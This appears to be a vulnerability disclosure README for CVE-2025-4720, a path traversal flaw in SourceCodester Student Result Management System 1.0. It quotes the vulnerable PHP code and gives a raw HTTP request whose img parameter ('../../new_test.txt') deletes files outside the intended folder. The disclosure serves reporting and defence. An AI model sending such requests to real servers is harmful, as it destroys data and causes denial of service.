xmyronn/duplicate-cve-2025-4720-Proof-of-concept exploit for CVE-2025-4720, a path traversal vulnerability in SourceCodester SRMS 1.0 allowing arbitrary file deletion via the drop_student.php endpoint.
A path traversal vulnerability exists in the drop_student.php endpoint of SourceCodester Student Result Management System (SRMS) 1.0.
The application takes user-controlled input from the img GET parameter and directly passes it to the unlink() function without validation, allowing deletion of arbitrary files on the server.
$img = $_GET['img'];
if ($img == "DEFAULT") {
} else {
unlink('images/students/' . $img);
}
C:\xampp\htdocs\srms_0\srms\new_test.txt
GET /srms_0/srms/script/admin/core/drop_student.php?id=1&img=../../new_test.txt HTTP/1.1
Host: target
An attacker can delete arbitrary files accessible to the web server, including:
This may lead to denial of service or further exploitation.
This vulnerability represents a distinct attack vector compared to previously reported issues in SRMS, as it:
SourceCodester
Student Result Management System (SRMS) https://www.sourcecodester.com/srms-makumbusho
1.0
Imad Alvi